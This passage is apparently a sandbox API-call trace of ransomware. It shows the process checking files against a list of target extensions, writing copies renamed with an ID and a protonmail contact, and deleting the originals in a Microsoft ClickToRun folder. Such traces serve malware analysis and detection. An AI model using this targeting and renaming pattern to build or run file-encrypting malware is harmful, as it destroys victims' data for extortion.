	[0078.156] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0078.156] lstrlenW (lpString=".ppt") returned 4
	[0078.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.156] lstrlenW (lpString=".zip") returned 4
	[0078.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString=".rar") returned 4
	[0078.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString=".bz2") returned 4
	[0078.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.156] lstrlenW (lpString=".7z") returned 3
	[0078.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.156] lstrlenW (lpString=".dbf") returned 4
	[0078.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.156] lstrlenW (lpString=".1cd") returned 4
	[0078.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.156] lstrlenW (lpString=".jpg") returned 4
	[0078.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.157] lstrlenW (lpString=".doc") returned 4
	[0078.157] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.157] lstrlenW (lpString=".docx") returned 5
	[0078.157] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0078.157] lstrlenW (lpString=".pdf") returned 4
	[0078.157] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.157] lstrlenW (lpString=".xls") returned 4
	[0078.157] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.157] lstrlenW (lpString=".xlsx") returned 5
	[0078.157] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0078.157] lstrlenW (lpString=".ppt") returned 4
	[0078.157] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.157] lstrlenW (lpString=".zip") returned 4
	[0078.157] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.157] lstrlenW (lpString=".rar") returned 4
	[0078.157] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.157] lstrlenW (lpString=".bz2") returned 4
	[0078.157] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.157] lstrlenW (lpString=".7z") returned 3
	[0078.157] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.157] lstrlenW (lpString=".dbf") returned 4
	[0078.157] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.157] lstrlenW (lpString=".1cd") returned 4
	[0078.157] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.157] lstrlenW (lpString=".jpg") returned 4
	[0078.157] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.158] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.158] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0078.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.158] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=19136) returned 1
	[0078.158] CloseHandle (hObject=0x37c) returned 1
	[0078.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20
	[0078.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.158] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.158] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0078.159] GetLastError () returned 0x0
	[0078.159] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0078.161] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0078.162] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.162] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x114, lpOverlapped=0x0) returned 1
	[0078.162] SetEndOfFile (hFile=0x334) returned 1
	[0078.162] CloseHandle (hObject=0x334) returned 1
	[0078.163] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.164] SetEndOfFile (hFile=0x37c) returned 1
	[0078.164] CloseHandle (hObject=0x37c) returned 1
	[0078.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.165] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1
	[0078.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.165] lstrlenW (lpString=".doc") returned 4
	[0078.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.165] lstrlenW (lpString=".docx") returned 5
	[0078.165] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.165] lstrlenW (lpString=".pdf") returned 4
	[0078.165] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.165] lstrlenW (lpString=".xls") returned 4
	[0078.165] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.165] lstrlenW (lpString=".xlsx") returned 5
	[0078.165] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.165] lstrlenW (lpString=".ppt") returned 4
	[0078.165] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString=".zip") returned 4
	[0078.166] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString=".rar") returned 4
	[0078.166] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString=".bz2") returned 4
	[0078.166] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.166] lstrlenW (lpString=".7z") returned 3
	[0078.166] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString=".dbf") returned 4
	[0078.166] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString=".1cd") returned 4
	[0078.166] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString=".jpg") returned 4
	[0078.166] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString=".doc") returned 4
	[0078.166] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString=".docx") returned 5
	[0078.166] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.166] lstrlenW (lpString=".pdf") returned 4
	[0078.166] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString=".xls") returned 4
	[0078.166] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString=".xlsx") returned 5
	[0078.166] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.166] lstrlenW (lpString=".ppt") returned 4
	[0078.166] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.166] lstrlenW (lpString=".zip") returned 4
	[0078.167] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.167] lstrlenW (lpString=".rar") returned 4
	[0078.167] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.167] lstrlenW (lpString=".bz2") returned 4
	[0078.167] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.167] lstrlenW (lpString=".7z") returned 3
	[0078.167] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.167] lstrlenW (lpString=".dbf") returned 4
	[0078.167] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.167] lstrlenW (lpString=".1cd") returned 4
	[0078.167] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0078.167] lstrlenW (lpString=".jpg") returned 4
	[0078.167] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.167] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.167] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0078.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.168] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=18624) returned 1
	[0078.168] CloseHandle (hObject=0x37c) returned 1
	[0078.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20
	[0078.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.169] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.169] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0078.169] GetLastError () returned 0x0
	[0078.169] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0078.340] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0078.349] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.349] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0078.349] SetEndOfFile (hFile=0x334) returned 1
	[0078.349] CloseHandle (hObject=0x334) returned 1
	[0078.350] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.350] SetEndOfFile (hFile=0x37c) returned 1
	[0078.351] CloseHandle (hObject=0x37c) returned 1
	[0078.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.352] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1
	[0078.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.424] lstrlenW (lpString=".doc") returned 4
	[0078.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.424] lstrlenW (lpString=".docx") returned 5
	[0078.424] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.424] lstrlenW (lpString=".pdf") returned 4
	[0078.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.424] lstrlenW (lpString=".xls") returned 4
	[0078.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.424] lstrlenW (lpString=".xlsx") returned 5
	[0078.424] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.424] lstrlenW (lpString=".ppt") returned 4
	[0078.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.424] lstrlenW (lpString=".zip") returned 4
	[0078.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.424] lstrlenW (lpString=".rar") returned 4
	[0078.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.424] lstrlenW (lpString=".bz2") returned 4
	[0078.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.424] lstrlenW (lpString=".7z") returned 3
	[0078.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.425] lstrlenW (lpString=".dbf") returned 4
	[0078.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.425] lstrlenW (lpString=".1cd") returned 4
	[0078.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.425] lstrlenW (lpString=".jpg") returned 4
	[0078.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.425] lstrlenW (lpString=".doc") returned 4
	[0078.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.425] lstrlenW (lpString=".docx") returned 5
	[0078.425] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.425] lstrlenW (lpString=".pdf") returned 4
	[0078.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.425] lstrlenW (lpString=".xls") returned 4
	[0078.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.425] lstrlenW (lpString=".xlsx") returned 5
	[0078.425] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.425] lstrlenW (lpString=".ppt") returned 4
	[0078.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.425] lstrlenW (lpString=".zip") returned 4
	[0078.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.425] lstrlenW (lpString=".rar") returned 4
	[0078.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.426] lstrlenW (lpString=".bz2") returned 4
	[0078.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.426] lstrlenW (lpString=".7z") returned 3
	[0078.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.426] lstrlenW (lpString=".dbf") returned 4
	[0078.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.426] lstrlenW (lpString=".1cd") returned 4
	[0078.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0078.426] lstrlenW (lpString=".jpg") returned 4
	[0078.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.426] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.426] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35
	[0078.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.577] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=26816) returned 1
	[0078.577] CloseHandle (hObject=0x358) returned 1
	[0078.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20
	[0078.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.600] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.647] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0078.647] GetLastError () returned 0x0
	[0078.647] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x68c0, lpOverlapped=0x0) returned 1
	[0078.685] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x68d0, lpOverlapped=0x0) returned 1
	[0078.687] ReadFile (in: hFile=0x358, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.687] WriteFile (in: hFile=0x398, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0078.687] SetEndOfFile (hFile=0x398) returned 1
	[0078.687] CloseHandle (hObject=0x398) returned 1
	[0078.689] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.689] SetEndOfFile (hFile=0x358) returned 1
	[0078.690] CloseHandle (hObject=0x358) returned 1
	[0078.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
